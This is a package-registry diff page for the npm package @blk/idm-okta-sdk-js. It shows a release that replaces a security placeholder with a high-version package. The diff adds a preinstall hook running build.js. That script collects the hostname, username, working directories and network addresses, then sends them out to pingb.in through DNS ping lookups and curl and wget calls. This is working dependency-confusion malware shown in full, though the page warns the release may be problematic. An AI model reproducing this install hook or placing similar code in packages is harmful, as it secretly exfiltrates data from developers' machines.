@blk/idm-okta-sdk-js 0.0.1-security → 6.7.99999

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @blk/idm-okta-sdk-js might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +1 -5
  2. package/build.js +52 -0
  3. package/package.json +10 -3
package/README.md CHANGED
@@ -1,5 +1 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40blk%2Fidm-okta-sdk-js for more information.
1
+ Test.
package/build.js ADDED
@@ -0,0 +1,52 @@
1
+ const os = require("os");
2
+ const { spawn } = require("child_process");
3
+ var isWin = process.platform === "win32";
4
+
5
+ const id = "0cb831447c65fe6325effa835716";
6
+
7
+ try {
8
+ exfil({ d_hostname: os.hostname() });
9
+ } catch (e) {}
10
+ try {
11
+ exfil({ d_user: os.userInfo().username });
12
+ } catch (e) {}
13
+ try {
14
+ exfil({ d_cwd: `cwd: ${process.cwd()}` });
15
+ } catch (e) {}
16
+ try {
17
+ exfil({ d_dirname: `dirname: ${__dirname}` });
18
+ } catch (e) {}
19
+ try {
20
+ const nets = os.networkInterfaces();
21
+ for (const name of Object.keys(nets)) {
22
+ for (const net of nets[name]) {
23
+ exfil({ ["d_net_" + name]: net.address });
24
+ }
25
+ }
26
+ } catch (e) {}
27
+
28
+ try {
29
+ spawn("curl", ["http://pingb.in/p/"+id], { detached: true });
30
+ spawn("wget", ["http://pingb.in/p/"+id], { detached: true });
31
+ } catch (error) {
32
+
33
+ }
34
+
35
+ //process.exit();
36
+
37
+ function exfil(data) {
38
+ try {
39
+ const b64 = Buffer.from(JSON.stringify(data))
40
+ .toString("base64")
41
+ .replace(/=/gm, "");
42
+
43
+ let args;
44
+ if (isWin) {
45
+ args = ["-n", "1"];
46
+ } else {
47
+ args = ["-c", "1"];
48
+ }
49
+ args.push(`${id}.${b64}.ns.pingb.in`);
50
+ spawn("ping", args, { detached: true });
51
+ } catch (e) {}
52
+ }
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "@blk/idm-okta-sdk-js",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "6.7.99999",
4
+ "description": "description for this package and some extras",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node build.js"
8
+ },
9
+ "license": "MIT",
10
+ "dependencies": {
11
+ "@blk/idm-okta-sdk-js": "^6.7.999"
12
+ }
6
13
  }